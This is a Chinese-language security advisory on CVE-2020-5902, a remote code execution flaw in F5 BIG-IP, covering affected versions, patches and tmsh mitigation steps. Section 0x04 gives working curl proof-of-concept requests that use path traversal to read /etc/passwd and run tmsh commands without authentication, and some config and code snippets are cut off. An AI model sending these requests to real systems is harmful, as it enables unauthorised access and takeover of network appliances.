0x01 漏洞简述
F5 BIG-IP 是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。
2020年07月03日, F5 发布了 F5 BIG-IP 远程代码执行 的风险通告,该漏洞编号为 CVE-2020-5902,漏洞等级:严重。
未授权的远程攻击者通过向漏洞页面发送特制的请求包,可以造成任意 Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。该漏洞影响控制面板受影响,不影响数据面板。
参考网上众多通告,总结此篇。
与此同时,请做好资产自查以及预防工作,以免遭受黑客攻击。
0x02 风险等级
官方给出的安全咨询状态
该漏洞的评定结果如下
| 评定方式 | 等级 |
|---|---|
| 威胁等级 | 严重 |
| 影响面 | 广泛 |
0x03 漏洞详情
F5 BIG-IP 是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。
在 F5 BIG-IP 产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞。
目前msf已经集成了该漏洞的利用。
未授权的远程攻击者通过向该页面发送特制的请求包,可以造成任意Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。
0x04 利用方法
文件读取poc
1 | curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd' |
RCE poc
1 | curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin' |
复现建议
0x05 漏洞详情
在 F5 BIG-IP 产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞。
目前msf已经集成了该漏洞的利用。
未授权的远程攻击者通过向该页面发送特制的请求包,可以造成任意Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。
tmshCmd
在 tmshCmd 的 service方法处理请求的时候,对 command 参数进行处理。 命令需要满足两个条件:
cmd.matches返回falseisUserAuthorized返回false
看下第二个条件,只需要 RawRoleId 不为 0、20、100、510 即可。
然后调用 WorkspaceUtils.runTmshCommand(cmd, request); 方法执行命令,限制了执行delete,create,list,modify。
1 | if ("POST".equalsIgnoreCase(request.getMethod())) { |
fileRead
在 fileRead 的 service方法处理请求的时候,对 fileName 参数进行处理。 文件读取需要满足两个条件:
isFileWhitelisted方法返回falseuserCanAccessPartition方法返回false
调用 isFileWhitelisted 方法,检测请求的 fileName 是否在白名单里,如果不在,则返回false,不抛出错误。
继续调用 userCanAccessPartition 方法,检测 fileName 是否以 /var/sdm/plugin_store/plugins/ 开头,不是就返回false。
接着就能调用 WorkspaceUtils.readFile(fileName); 方法,进行文件的读取。
0x06 影响版本
- BIG-IP 15.x: 15.1.0/15.0.0
- BIG-IP 14.x: 14.1.0 ~ 14.1.2
- BIG-IP 13.x: 13.1.0 ~ 13.1.3
- BIG-IP 12.x: 12.1.0 ~ 12.1.5
- BIG-IP 11.x: 11.6.1 ~ 11.6.5
0x07 修复建议
通用修补建议
升级到以下版本
- BIG-IP 15.x: 15.1.0.4
- BIG-IP 14.x: 14.1.2.6
- BIG-IP 13.x: 13.1.3.4
- BIG-IP 12.x: 12.1.5.2
- BIG-IP 11.x: 11.6.5.2
临时修补建议
官方建议可以通过以下步骤临时缓解影响
- 使用以下命令登录对应系统
1 | tmsh |
- 编辑
httpd组件的配置文件
1 | edit /sys httpd all-properties |
- 文件内容如下
1 | include ' |
- 按照如下操作保存文件
1 | 按下 ESC 并依次输入 |
- 执行命令刷新配置文件
1 | save /sys config |
- 重启 httpd 服务
1 | restart sys service httpd |
并禁止外部IP对 TMUI 页面的访问










